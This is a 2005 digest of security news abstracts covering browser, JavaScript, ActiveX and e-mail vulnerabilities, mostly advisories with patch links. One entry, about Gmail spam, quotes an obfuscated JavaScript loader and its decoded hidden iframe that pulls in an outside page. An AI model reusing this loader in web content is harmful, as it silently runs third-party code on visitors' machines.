Sun Java System Web proxy server buffer overflow vulnerabilities system compromise code execution attack update issued

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0367>

SUN JAVA SYSTEM WEB PROXY SERVER BUFFER OVERFLOW VULNERABILITIES

A new vulnerability was identified in Sun Java System Web Proxy Server, which could be exploited by remote attackers to execute arbitrary commands. This flaw is due to an unspecified buffer overflow error which may allow a remote attacker to compromise a vulnerable system and execute arbitrary code with the privileges of the server process. Note: The default UID for the Web Proxy Server is "nobody". Upgrade to Sun Java System Web Proxy Server 3.6 Service Pack 7 or later:
<http://www.sun.com/download/index.jsp>

23.2 Javascript

Category 23.2

Javascript

2005-09-16

java exploit audio file automatic execution e-mail GMAIL spam script

RISKS

24

04

GMAIL SECURITY FLAW: ACTS ON JAVASCRIPT IN UNOPENED E-MAIL

Suw Charman reported on a new vulnerability and exploit:

* * *

I received a spam this morning that opened audio files without me even opening the e-mail. The spam was from 'news@capitalex.com' and had the subject 'news'.

A closer look reveals this code:

```
<Script Language='Javascript'>

<!!--

document.write(unescape("%3C%49%46%52%41%4D%45%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%
%68%74%3D%22%31%22%20%53%52%43%3D%22%68%74%74%70%3A%2F%2F%77%77%2E%70%72%6F%66%
6F%72%65%78%74%72%61%64%65%2E%63%6F%6D%2F%69%6D%61%67%65%73%2F%6E%65%77%65%78%2E%6
8%74%6D%6C%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%22%31%22%20%0D%0A%0D%0A%73%6
3%67%62%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%3E%3C%2F%49%46%52%41%4D%45%3E"));

//-->

</Script>
```

This decodes to

```
<IFRAME width="1" height="1" SRC=
http://www.proforextrade.com/images/newex.html" frameBorder="1" scrolling="no"></IFRAME>
```

That page loads automatically, *without me having opened the e-mail*, then runs a shed load of rubbish including two audio files.

Category 23.2

Javascript

2005-10-20

**Hackers scammers javascript Websites Internet JS Wonka Unicode JavaScript
Internet Explorer Firefox Websense**

DHS IAIP Daily; <http://informationweek.com/story/showArticle.jhtml?articleID=172302840>

HACKERS, SCAMMERS HID MALICIOUS JAVASCRIPT ON WEBSITES

Internet thieves are using a new, fast spreading technique called "JS/Wonka" to conceal their code. The JS/Wonka technique converts characters to and from their respective Unicode values. JavaScript completes those conversions automatically, so it doesn't require much expertise on the part of the code writer. Dan Hubbard, senior director of security and research at Websense, said, "For whatever reason, the number has just skyrocketed since the last of September...There are 10,000 unique sites using this exact same method. The strange thing is, they're completely different types of sites." Internet Explorer and Firefox, among other browsers, are vulnerable. According to Websense, three out of four of the sites found using JS/Wonka are hosted in the U.S. which is another indication that either a group of scammers is working together, or that a obfuscation toolkit has just been made available, and hasn't had time to spread overseas. Websense's JS/Wonka Alert: http://www.websensesecuritylabs.com/resource/pdf/wslabs_wonk_a_analysis_oct05.pdf

23.3 ActiveX

Category 23.3

ActiveX

2005-11-10

Web application active content disable security incompatibility non-standard operating system restrictions design

RISKS

24

10

LAW SCHOOL FORCES APPLICANTS TO DISABLE SECURITY MEASURES

Tony Lima reports on an annoying case of bad Web design he discovered when a Macintosh-using young friend of his tried to apply to a law school. It took over an hour to disable security sufficiently to allow a required ActiveX control to run on a Windows machine:

>I finally got the control to install after doing the following:

- Disabling my anti-spyware software (ewido security suite). I then tried to install the control with no luck.
- Setting the privacy permission for lsac.org to "allow." Again no luck installing the control.
- Eliminating all security by making the security settings (Tools/Internet Options/Security/Custom Level) completely open. I enabled each and every ActiveX and other control including unsigned controls and controls marked as not safe. The control then installed successfully.

Now perhaps I didn't have to go quite that far but a deadline was approaching and I really didn't want to take the time to perform the trial and error that would apparently be required to determine exactly how much security to give up.<

Prof Lima adds humorously:

"It occurs to me that this is truly THE law school admission test. If you're dumb enough to let this control install you're probably good law school material. OTOH if you don't let the control through then you're too smart to be a lawyer. (That's about all the humor I can manage after 1.5 hours fighting with this stuff. I've disconnected from the net and am running my usual four scanning programs right now.)"

23.4 HTML, XML, browsers

Category 23.4 HTML, XML, browsers

2005-01-18 **Google links search engine blogs no follow tag priority cheat fraud fake false**

NewsScan;

http://news.com.com/Google+aims+to+outsmart+search+tricksters/2100-1024_3-5540740.html

GOOGLE MOVES TO OUTSMART SEARCH MANIPULATORS

Google is implementing a new tactic for blocking "link spammers" -- people who use the comment form on Web forums or blogs to place a link pointing back to their own Web site. The strategy is used to trick Google's PageRank technology into boosting a Web site's ranking in its results. The problem has become particularly rampant in the age of blogging, when publishers have little recourse to stop outsiders from littering their comment forms with bogus links. Google's answer, says search expert Danny Sullivan, is to give publishers a "no follow" tag that they can insert on a Web page to indicate that comments or links are not their own and signal Google as it indexes the Web that the pages are to be overlooked. "The tag provides you a way to flag links that are basically not yours," says Sullivan. "The reason why that's helpful is because they won't count those links. It makes the idea of spamming less attractive." Blog publisher Six Apart says it will adopt the tagging standard for its roughly 6.5 million blogs. "We're interested in deploying this tool so that all the search engines, whether it's Google, Yahoo or MSN, can properly distinguish content published by the author from content from commentors," says Six Apart VP Anil Dash. (CNet News.com 18 Jan 2005)

Category 23.4 HTML, XML, browsers

2005-02-01 **Mozilla Firefox Thunderbird multiple vulnerabilities information disclosure attack Internet Web browser e-mail client update issued**

DHS IAIP Daily; <http://secunia.com/advisories/14017/>

MOZILLA / THUNDERBIRD MULTIPLE VULNERABILITIES

Details have been released about several vulnerabilities in Firefox, Mozilla and Thunderbird. These can be exploited by malicious people to bypass certain security restrictions, conduct spoofing and script insertion attacks and disclose sensitive and system information. Update to Mozilla 1.7.5, Firefox 1.0, and Thunderbird 1.0: <http://www.mozilla.org/products/>

Category 23.4 HTML, XML, browsers

2005-02-07 **Mozilla Firefox Camino Internet Web browser International Domain Names IDN spoofing security vulnerability no update issued**

DHS IAIP Daily; <http://secunia.com/advisories/14163/>

MOZILLA / FIREFOX / CAMINO WEB BROWSERS IDN SPOOFING SECURITY ISSUE

A security issue has been reported which can be exploited by a malicious Website to spoof the URL displayed in the address bar, SSL certificate, and status bar. The problem is caused due to an unintended result of the IDN (International Domain Name) implementation, which allows using international characters in domain names. This can be exploited by registering domain names with certain international characters that resemble other commonly used characters, thereby causing the user to believe they are on a trusted site. No solution is currently available.

Category 23.4 HTML, XML, browsers

2005-02-08 **Mozilla Firefox Internet Web browser multiple vulnerabilities command execution attack JavaScript hybrid image**

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Feb/1013108.html>

MOZILLA FIREFOX MULTIPLE VULNERABILITIES

There are several vulnerabilities in Mozilla Firefox. A remote user may be able to cause a target user to execute arbitrary operating system commands in certain situations or access access content from other windows, including the 'about:config' settings. This is due to a hybrid image vulnerability that allows batch statements to be dragged to the desktop and because tabbed javascript vulnerabilities let remote users access other windows. These vulnerabilities have been fixed in the CVS repository.

Category 23.4 HTML, XML, browsers
2005-02-08 **e-mail browser client vulnerabilities arbitrary code execution patch**

RISKS; <http://www.ngssoftware.com/advisories/eudora-01.txt> 23 72
HIGH RISK VULNERABILITIES IN EUDORA FOR WINDOWS

The Windows e-mail client Eudora v6.2.0 and earlier versions were reported by John Heasman of NGSSoftware to have serious vulnerabilities. Monty Solomon summarized them in RISKS:

The flaws permit execution of arbitrary code via:

- 1) previewing or opening a specially crafted e-mail
- 2) opening specially crafted stationary or mailbox files

These issues have been resolved in Eudora 6.2.1 as detailed at
<http://www.eudora.com/security.html>

It can be downloaded from:

<http://www.eudora.com/products/>

NGSSoftware are going to withhold details of this flaw for three months. Full details will be published on the 2nd of May 2005. This three month window will allow users of Eudora the time needed to apply the patch before the details are released to the general public. This reflects NGSSoftware's approach to responsible disclosure.

NGSSoftware Insight Security Research
<http://www.databasesecurity.com/>
<http://www.nextgenss.com/> +44(0)208 401 0070

Category 23.4 HTML, XML, browsers
2005-02-12 **Firefox remote SMB document local file disclosure vulnerability HTML code share flash content no update issued**

DHS IAIP Daily; <http://www.securityfocus.com/bid/12533/discussion/>
FIREFOX REMOTE SMB DOCUMENT LOCAL FILE DISCLOSURE VULNERABILITY

A vulnerability has been published that may allow attackers to read the contents of attacker-specified files on the client users filesystem. To exploit this vulnerability, the attacker must place a HTML document containing code to read the target file on a remote SMB share. The attacker must then create flash content that will load the remote document via file:// URI. There is no solution at this time.

Category 23.4 HTML, XML, browsers
2005-02-23 **phpBB2 PHP bulletin board vulnerabilities file unlink information disclosure vulnerabilities directory traversal update issued**

DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0194>
PHPBB2 ARBITRARY FILE UNLINK AND DISCLOSURE VULNERABILITIES

Two vulnerabilities were identified in phpBB, and may be exploited by remote attackers to read or deleted arbitrary system files. The first flaw is due to an input validation error when handling specially crafted requests to upload avatars, which may be exploited by attackers to read arbitrary system files. The second vulnerability is due to a directory traversal error when handling the "avatarselect" return value, which may be exploited by attackers to unlink arbitrary system files. Updates to phpBB version 2.0.12: <http://www.phpbb.com/downloads.php>

Category 23.4 HTML, XML, browsers
2005-02-23 **PHP code injection vulnerability vBulletin code execution attack update issued**

DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0192>
VBULLETIN "MISC.PHP" REMOTE PHP CODE INJECTION VULNERABILITY

A new vulnerability was identified in vBulletin, and may be exploited by remote attackers to execute arbitrary PHP commands. The flaw resides in the "Add Template Name in HTML Comments" option when handling the "template" (misc.php) parameter, which may be exploited to execute arbitrary php commands with the web server privileges. Update to version 3.0.7: <http://www.vbulletin.com>

Category 23.4 *HTML, XML, browsers*
2005-02-24 **Mozilla Firefox flaws Web browser spoofing Windows Mac OS X Linux IDN Punycode address**

EDUPAGE; http://news.zdnet.com/2100-1009_22-5589693.html

MOZILLA FIXES FIREFOX FLAWS

The Firefox 1.0.1 update released by the Mozilla Foundation fixes several flaws in the Web browser, including one that permitted domain spoofing. The update is available for Windows, Mac OS X, and Linux. The updated browser displays the IDN Punycode (encoding of Unicode strings into the limited character set) in the address bar to prevent spoofing.

Category 23.4 *HTML, XML, browsers*
2005-02-28 **phpWebSite PHP scripting vulnerability image upload no update issued**

DHS IAIP Daily; <http://secunia.com/advisories/14399/>

PHPWEBSITE ANNOUNCEMENT IMAGE UPLOAD VULNERABILITY

A vulnerability exists in phpWebSite 0.10.0 and prior, which potentially can be exploited by malicious people to compromise a vulnerable system. The vulnerability is caused due to an error in the uploading of images when submitting an announcement. This can be exploited to upload arbitrary PHP scripts to a directory inside the web root. There is no vendor solution at this time.

Category 23.4 *HTML, XML, browsers*
2005-02-28 **Mozilla Firefox Internet Web browser out of memory head corruption design flaw crash no update issued**

DHS IAIP Daily;
<http://www.idefense.com/application/poi/display?id=200&type=vulnerabilities&flashstatus=false>

MOZILLA FIREFOX AND MOZILLA BROWSER OUT OF MEMORY HEAP CORRUPTION DESIGN ERROR

Remote exploitation of a design error in Mozilla 1.7.3 and Firefox 1.0 may allow a remote attacker to cause heap corruption, resulting in execution of arbitrary code. The vulnerability specifically exists in string handling functions, such as nsCSubstring::Append. Certain functions, such as nsTSubstring_CharT::Replace() fail to check the return value of functions which resize the string. A failed exploitation attempt may result in the browser crashing. There is no solution at this time.

Category 23.4 *HTML, XML, browsers*
2005-04-26 **HP-UX operating system Mozilla browser vulnerabilities command execution attack system compromise update issued**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0394>

HP-UX MOZILLA MULTIPLE VULNERABILITIES

Multiple vulnerabilities were identified in HP-UX Mozilla, which may be exploited by malicious Websites to execute arbitrary commands. HP has acknowledged multiple vulnerabilities in Mozilla for HP-UX, which can be exploited by malicious people to cause a DoS (Denial of Service), gain knowledge of potentially sensitive information, bypass certain security restrictions, and compromise a user's system. Upgrade to Mozilla HP-UX version 1.7.3.02: <http://www.hp.com/go/mozilla>

Category 23.4 *HTML, XML, browsers*
2005-04-29 **Red Hat Linux Mozilla Internet Web browser vulnerabilities patch issued code execution**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0428>

REDHAT SECURITY UPDATE FIXES MULTIPLE MOZILLA VULNERABILITIES

Redhat has released a security patch to correct various vulnerabilities in Mozilla. The vulnerabilities can be exploited by malicious people to gain knowledge of potentially sensitive information. This could allow cross-site scripting attacks, bypass certain security restrictions, and compromise a user's system. The flaws could be exploited by malicious websites to execute arbitrary commands and cause a denial of service. Use Red Hat Network to download and update your packages: <http://rhn.redhat.com/>

Category 23.4 HTML, XML, browsers

2005-05-09 **Mozilla Firefox Internet Web browser JavaScript URL vulnerability**

DHS IAIP Daily; <http://seunia.com/advisories/15292/>

Two VULNERABILITIES IN MOZILLA FIREFOX

Two vulnerabilities have been discovered in Firefox, which can be exploited by malicious people to conduct cross-site scripting attacks and compromise a user's system. "IFRAME" JavaScript URLs are not properly protected from being executed in context of another URL in the history list. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an arbitrary site. Input passed to the "IconURL" parameter in "InstallTrigger.install()" is not properly verified before being used. This can be exploited to execute arbitrary JavaScript code with escalated privileges via a specially crafted JavaScript URL. A temporary solution has been added to the sites "update.mozilla.org" and "addons.mozilla.org" where requests are redirected to "do-not-add.mozilla.org". This will stop the publicly available exploit code using the two vulnerabilities to execute arbitrary code in the default settings of Firefox.

Category 23.4 HTML, XML, browsers

2005-05-10 **Mozilla Firefox Internet Web browser authentication dialog vulnerability HTTP**

DHS IAIP Daily; <http://www.securityfocus.com/bid/12728/solution/>

MOZILLA SUITE/FIREFOX HTTP AUTHENTICATION DIALOGS TAB FOCUS VULNERABILITY

Mozilla Suite prior to 1.7.6 and Mozilla Firefox prior to 1.0.1 are reported prone to a vulnerability that may result in the loss of authentication credentials. It is reported that HTTP authentication dialogs do not remain focused for the tab that invoked the dialog, rather the dialog focuses over the active tab. A remote attacker may potentially exploit this condition to aid in phishing attacks. Netscape 7.2 is reportedly vulnerable to this issue as well. It is also 8 possible that other versions of Netscape are affected. The vendor has released upgrades for Firefox dealing with this issue. Mozilla has reported that a pending release of Mozilla Suite 1.7.6 will be released dealing with this issue in the near future.

Category 23.4 HTML, XML, browsers

2005-05-11 **operating system Macintosh Apple Tiger OS X vulnerability data loss mobile code malware widgets proof-of-concept exploits browser Safari**

<http://www.vnunet.com/news/1162958>

APPLE OS X & SAFARI EXPLOITS APPEAR QUICKLY

Apple's OS X v10.4 and Safari browser v2.0 turned out to have vulnerabilities that were quickly exploited by proof-of-concept tools available on the Web. Safari automatically downloads mobile code (widgets) written in Java. Unfortunately, malicious widgets would be difficult to remove, requiring manual deletion of files.

Category 23.4 HTML, XML, browsers

2005-05-11 **Gecko browser HTTP authentication prompt vulnerability no update issued**

DHS IAIP Daily; <http://www.securiteam.com/securitynews/5RP0C0AFPA.html>

GECKO BASED BROWSERS HTTP AUTHENTICATION PROMPT VULNERABILITY

The HTTP authentication prompt appears above the currently open tab regardless of which tab triggered it. A spoofer who could get a user to open a high value target in another tab might be able to capture the user's ID and password. There is no solution at this time.

Category 23.4 HTML, XML, browsers

2005-05-12 **Mozilla Suite Firefox Internet Web browser vulnerability code execution attack**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0530>

MOZILLA SUITE AND FIREFOX MULTIPLE CODE EXECUTION VULNERABILITIES

Mozilla has released new versions of Mozilla Suite and Firefox, to correct vulnerabilities that could be exploited by attackers to compromise a vulnerable system or perform Cross Site Scripting. The first flaw is due to an input validation error when handling a "javascript:" url in the "view-source:" or "jar:" pseudo-protocols, which may be exploited via a malicious Website to perform Cross Site Scripting and execute arbitrary code. This issue is a variant of the "favicon" vulnerability. The second vulnerability occurs when executing Javascript eval and Script objects without dropping the privileges of the context calling them, which may be exploited by remote attackers to compromise a vulnerable system. This flaw is a variant of the "DOM" issue. Upgrade to Firefox 1.0.4 or Mozilla Suite 1.7.8: <http://www.mozilla.org/download.html>

Category 23.4 *HTML, XML, browsers*
2005-05-16 **Mozilla Suite Firefox Internet Web browser script manager cross site scripting vulnerability**

DHS IAIP Daily; <http://www.securityfocus.com/bid/13641/discussion/>

MOZILLA SUITE AND FIREFOX MULTIPLE SCRIPT MANAGER SECURITY BYPASS VULNERABILITIES

Multiple issues exist in Mozilla Suite and Firefox. These issues allow attackers to bypass security checks in the script security manager. These vulnerabilities allow remote attackers to execute script code with elevated privileges, leading to the installation and execution of malicious applications on an affected computer. Cross-site scripting, and other attacks are also likely possible. Original advisory and updates: <http://www.mozilla.org/projects/security/known-vulnerabilities.html>

Category 23.4 *HTML, XML, browsers*
2005-05-17 **Microsoft HTML Help Workshop memory corruption vulnerability no update issued**

DHS IAIP Daily; <http://www.securityfocus.com/bid/13668/discussion/>

MICROSOFT HTML HELP WORKSHOP MEMORY CORRUPTION VULNERABILITY

The Microsoft HTML Help Workshop compiler tool, 'hhc.exe', is prone to a memory corruption vulnerability. Immediate consequences of exploitation of this issue result in an application crash; this would not be considered a vulnerability. However, it may be possible to subtly manipulate the contents of the affected registers so that an exploitable code path is reached. There is no solution at this time.

Category 23.4 *HTML, XML, browsers*
2005-06-14 **survey study security hackers Web Internet browser attacks phishing personal information theft viruses worms**

EDUPAGE; http://news.com.com/2100-7349_3-5747050.html

SURVEY SHOWS MORE BAD GUYS TURNING TO BROWSER ATTACKS

According to a new survey by the Computing Technology Industry Association (CompTIA), the incidence of browser-based attacks rose sharply last year, while that of viruses and worms fell slightly. Browser-based attacks exploit the naivety of computer users, as in the case of phishing attacks, or technical vulnerabilities in browser or operating system software. Phishing scams work by fooling users into disclosing private information; other attacks attempt to download malicious code to the computers of visitors to a Web site to steal information or take control of the computer. According to CompTIA's survey of nearly 500 organizations, 56.6 percent have been targets of browser-based attacks, up from 36.8 percent one year ago. Viruses and worms continue to head the list of computer security threats, at 66 percent, which is just down from last year's number of 68.6 percent. CNET, 14 June 2005

Category 23.4 *HTML, XML, browsers*
2005-06-16 **vulnerability cross-site scripting security bypass Opera Web browser**

DHS IAIP Daily; <http://www.securityfocus.com/bid/6962/solution>

OPERA CROSS SITE SCRIPTING AND SECURITY BYPASS VULNERABILITIES

Multiple vulnerabilities were identified in Opera, which may be exploited by malicious Websites to conduct cross-site scripting attacks. The first flaw is due to insufficient validation of server side redirects when handling "XMLHttpRequest" objects, which could be exploited to access resources from outside the domain of which the object was opened. The second vulnerability is caused due to Opera not properly restricting the privileges of "javascript:" URLs when opened in e.g. new windows or frames which could be exploited to conduct cross site scripting attacks and to read local files. The third issue exists in the way the Opera browser generates a temporary page for displaying a redirection when "Automatic redirection" is disabled (not default setting), which could be exploited to conduct cross site scripting attacks. Update to Opera 8.01: <http://www.opera.com>

Category 23.4 *HTML, XML, browsers*
2005-06-23 **vulnerability multiple Cacti cross-site scripting SQL injection attacks compromise browser session update issued**

DHS IAIP Daily; <http://secunia.com/advisories/15490/>

CACTI MULTIPLE UNSPECIFIED VULNERABILITIES

Some vulnerabilities have been reported in Cacti, which can be exploited by malicious people to conduct cross site scripting and SQL injection attacks or compromise a vulnerable system. Unspecified input is not properly sanitized before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Unspecified input is not properly sanitized before being used to include files. This can be exploited to include arbitrary files from external or local resources or execute arbitrary HTML and script code in a user's browser session in context of a vulnerable site. Update to version 0.8.6e: http://www.cacti.net/download_cacti.php

Category 23.4 *HTML, XML, browsers*
2005-06-24 **Web Internet browser vulnerability flaw Secunia Dialog Origin Spoofing**

DHS IAIP Daily; <http://www.vnunet.com/vnunet/news/2138716/spoofing-flaw-sweeps-browsers>

SPOOFING FLAW HITS MAJOR BROWSERS

Security company Secunia has warned of a flaw in a number of browsers that could expose users to phishing attacks. The company claims that most major browsers, including Internet Explorer, Firefox and Safari, suffer from a so-called Dialog Origin Spoofing Vulnerability. Opera 8.01 is not affected by the flaw. A hacker could use a JavaScript dialog box to request a web visitor to enter confidential information. The flaw centers around the fact that users have no way of verifying the origin of the dialog box. Hackers could exploit the flaw by offering a link to a trusted Website that simultaneously provides a malicious pop up that asks for confidential information. Microsoft has acknowledged the threat, but said that it will not release a patch because it uses a "current standard web browser functionality." Instead the software vendor urged users to use common sense before entering confidential information through a Web browser. "If a particular window or dialog box does not have an address bar and does not have a lock icon that can be used to verify the site's certificate, the user is not provided with enough information on which to base a valid trust decision about the window or dialog box," said Microsoft.

Category 23.4 *HTML, XML, browsers*
2005-07-14 **Thread CFM Cross Scripting Vulnerability Message input browser cookie credentials patches**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14268/discuss>

SIMPLE MESSAGE BOARD THREAD.CFM CROSS-SITE SCRIPTING VULNERABILITY

A cross-site scripting vulnerability affects Simple Message Board. This issue is due to a failure of the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. Currently Security Focus is not aware of any vendor-supplied patches for this issue.

Category 23.4 *HTML, XML, browsers*
2005-07-25 **Netscape Browser fixes vulnerabilities malicious Websites validation error java cloning objects scripts prototype**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/1214>

NETSCAPE BROWSER SECURITY UPDATE FIXES MULTIPLE VULNERABILITIES

Two vulnerabilities were identified in Netscape Browser, which could be exploited by malicious Websites to execute arbitrary commands. The first issue is due to an input validation error in the processing of java script URLs opened by media players, which could be exploited by attackers to execute arbitrary code. The second vulnerability is due to an improper cloning of base objects, which could allow web content scripts to walk up the prototype chain to get to a privileged object and execute arbitrary code. Netscape Browser version 8.0.2 and prior are affected. Users should upgrade to Netscape Browser version 8.0.3.1: <http://browser.netscape.com/ns8/download/default.jsp>

Category 23.4 *HTML, XML, browsers*
2005-07-29 **vulnerability hole Opera Web browser download dialog spoofing malicious file execution update issued**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14402/info>

OPERA WEB BROWSER CONTENT-DISPOSITION HEADER DOWNLOAD DIALOG FILE EXTENSION SPOOFING VULNERABILITY

Opera Web Browser is prone to a vulnerability that can allow remote attackers to spoof file extensions through the download dialog. An attacker may exploit this issue by crafting a malformed HTTP 'Content-Disposition' header that spoofs file extensions to trick vulnerable users into opening and executing a malicious file. Opera Web Browser versions prior to 8.02 are affected by this issue. The vendor has released Opera Web Browser 8.02 to address this issue:
<http://www.opera.com/download/>

Category 23.4 *HTML, XML, browsers*
2005-09-13 **vulnerability flaw hole Firefox Internet Web browser hacker exploit**

DHS IAIP Daily; <http://www.snpix.com/cgi-bin/news55.cgi?target=109361173-2622>

HACKERS WORK TO EXPLOIT LATEST FIREFOX FLAW

There has been a exploit found working on a Firefox flaw and the latest Netscape Web browser. According to the article, at least two security researchers have posted messages to popular security mailing lists claiming they have found ways attackers could take advantage of the vulnerability. The security vulnerability in question is a buffer overflow flaw. An attacker could host a Web site containing malicious code to exploit the vulnerability.

Category 23.4 *HTML, XML, browsers*
2005-10-05 **TellMe scripting vulnerabilities sanitization input code browser affected cookie credentials**

DHS IAIP Daily; TellMe Multiple Cross-Site Scripting Vulnerabilities

TELLME MULTIPLE CROSS-SITE SCRIPTING VULNERABILITIES

There has been a multiple cross-site scripting vulnerability identified in TellMe. This is due to a lack of proper sanitization of user-supplied input. An attacker may leverage this to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This attack may facilitate the theft of cookie-based authentication credentials.

Category 23.4 *HTML, XML, browsers*
2005-10-10 **Utopia News Pro SQL injection vulnerabilities Two input validation parameter code browser**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2012>

UTOPIA NEWS PRO SQL INJECTION AND CROSS-SITE SCRIPTING VULNERABILITIES

Two vulnerabilities were identified in Utopia News Pro, which could be exploited by malicious users to perform SQL injection or cross site scripting attacks. The first issue is due to an input validation in the "header.php" and "footer.php" scripts when processing a specially crafted "sitetitle" or "version" parameter, which may be exploited by attackers to cause arbitrary scripting code to be executed by the user's browser. The second vulnerability is due to an input validation error in "news.php" when processing a specially crafted "newsid" parameter, which may be exploited by remote users to conduct SQL injection attacks. Utopia News Pro version 1.1.4 and prior are affected. The FrSIRT is not aware of any official supplied patch for this issue.

Category 23.4 *HTML, XML, browsers*
2005-10-19 **Browser Firefox crom restriction bypass Mozilla arbitrary**

DHS IAIP Daily; <http://www.securityfocus.com/bid/14920/info>

BROWSER/FIREFOX CROME PAGE LOADING RESTRICTION BYPASS

Mozilla Browser/Firefox are prone to a potential arbitrary code execution weakness. This may be used by an attacker to load privileged 'chrome' pages from an unprivileged 'about:' page. This issue does not pose a threat unless it is combined with a same-origin violation issue. This issue also may allow a remote attacker to execute arbitrary code and gain unauthorized remote access to a computer. This would occur in the context of the user running the browser.

Category 23.4 HTML, XML, browsers

2005-10-19 **Netscapre browser vulnerabilities arbitrary spoofing servers HTTP smuggling IP address**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2147>

NETSCAPE BROWSER SECURITY UPDATE FIXES MULTIPLE VULNERABILITIES

Multiple vulnerabilities have been identified in Netscape. These could be exploited by malicious Websites to execute arbitrary commands or conduct spoofing attacks. The severity of this vulnerability depends on the value of servers which might be vulnerable to HTTP request smuggling and similar attacks, or which share an IP address (virtual hosting) with the attacker's page. For users connecting to the Web through a proxy this flaw could be used to bypass the same origin restriction on XMLHttpRequests by tricking the proxy into handling a single request as multiple pipe lined requests directed at arbitrary hosts.

Category 23.4 HTML, XML, browsers

2005-12-09 **Web Internet browser Firefox exploit proof-of-concept code published threat**

DHS IAIP Daily; <http://www.vnunet.com/vnunet/news/2147377/firefox-exploit-made-public>

FIRST FIREFOX 1.5 EXPLOIT MADE PUBLIC

Security experts at Packet Storm have published proof-of-concept code that exploits an unpatched flaw in the Firefox 1.5 browser, making the application vulnerable to a denial of service attack. The code marks the first publicly disclosed security vulnerability in Firefox 1.5 since the version became available in late November. The published code will add a large entry to the 'history.dat' file of the browser, causing the application to freeze or crash the next time it is launched. Users can fix the problem by manually erasing the file. Another option is to change the browser setting to disable the saving of history data by setting the days of saved history to zero or increasing the privacy control. While the proof-of-concept code is relatively harmless, the flaw could be exploited to install malware, according to John Bambenek, a researcher with the University of Illinois at Urbana-Champaign and a volunteer at the SANS Internet Storm Center. "Presumably, if the topic was more tightly crafted than in the proof-of-concept code, a more malicious attack could be crafted that would install malware on the machine with the extra step of being reinstalled after each restart of Firefox," Bambenek wrote.

Category 23.4 HTML, XML, browsers

2005-12-22 **Apple Mac OS X KHTMLParser denial of service vulnerability application crash Safari Web browserTextEdit processor**

DHS IAIP Daily; <http://www.securityfocus.com/bid/16045/references>

Apple Mac OS X KHTMLParser remote denial of service vulnerability.

Apple Mac OS X KHTMLParser is affected by a remote denial of service vulnerability. Successful exploitation may cause an application employing KHTMLParser to crash. KHTMLParser is used by Apple Safari Web browser and Apple TextEdit word processor.

Category 23.4 HTML, XML, browsers

2005-12-31 **denial of service DoS vulnerability browser Blackberry Handheld JAD update software**

DHS IAIP Daily; <http://www.securityfocus.com/bid/16099/solution>

23

BLACKBERRY HANDHELD JAD FILE BROWSER DENIAL OF SERVICE VULNERABILITY

Blackberry Handheld devices are prone to a denial of service attack. The embedded Web browser will stop responding due to a dialog box that has not been properly dismissed when handling a malformed JAD (Java Application Description) file. Security Focus reports that the vendor has addressed this issue in version 4.0.2 of the Blackberry Device Software. The vendor encourages affected users to contact their service providers to obtain updated software.

23.5 E-mail & instant messaging or chat

Category 23.5

E-mail & instant messaging or chat

2005-01-13

Google mail Gmail flaw accident hack Unix community source code boundaries no update issued

DHS IAIP Daily; <http://www.vnunet.com/news/1160489>

ACCIDENTAL HACK REVEALS GMAIL FLAW

A Unix community group has reported a flaw in Google's free Gmail email service which it warns could compromise user information. Two members of HBX Networks, going by the monikers 'Hairball' and 'MrYowler,' were testing a Perl script that would send out a newsletter. When they tried to reply to the test email the page displayed HTML code which included the names and passwords of other users. The problem appears to come from poorly defined code boundaries on Google's mail server. The community group members do not propose a workaround beyond informing Google of the problem.

Category 23.5

E-mail & instant messaging or chat

2005-02-03

Eudora e-mail client vulnerability system compromise code execution attack

DHS IAIP Daily; <http://secunia.com/advisories/14104/>

EUDORA SYSTEM COMPROMISE VULNERABILITIES

A vulnerability was reported in Eudora, which can be exploited by malicious people to compromise a user's system. The vulnerabilities are caused due to unspecified errors within the viewing of e-mails and handling of stationary and mailbox files. Successful exploitation allows execution of arbitrary code with the privileges of the user running Eudora. Update to version 6.2.1: <http://www.eudora.com/products/>

Category 23.5

E-mail & instant messaging or chat

2005-02-14

Open webmail input validation flaw vulnerability cross site scripting code execution attack

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Feb/1013172.html>

OPEN WEBMAIL INPUT VALIDATION FLAW IN 'LOGINDOMAIN' LETS REMOTE USERS CONDUCT CROSS-SITE SCRIPTING ATTACKS

A vulnerability was reported in Open WebMail. A remote user can conduct cross-site scripting attacks. The software does not properly validate user-supplied input in the 'logindomain' parameter. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. Upgrade to 2.50 after 20050212 or apply patch available at: <http://openwebmail.org/openwebmail/download/cert/patches/SA-05:01/>

Category 23.5

E-mail & instant messaging or chat

2005-02-18

instant messaging IM Yahoo Messenger remote user spoof filename vulnerability file transfer code execution attack update issued

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Feb/1013237.html>

YAHOO! MESSENGER LETS REMOTE USERS SPOOF FILENAMES DURING FILE TRANSFER

A vulnerability was reported in Yahoo! Messenger in the file transfer feature. A remote user may be able to cause a target user to execute arbitrary code. Yahoo! Messenger does not properly display files with long filenames in the file transfer dialog windows. A remote user can send a specially crafted, long filename containing whitespace and two file extensions to spoof the filename. Update to version 6.0.0.1921, available at: <http://messenger.yahoo.com/>

Category 23.5 E-mail & instant messaging or chat
2005-03-02 **Trillian instant messaging chat software PNG buffer overflow vulnerability system compromise no update issued**

DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0221>

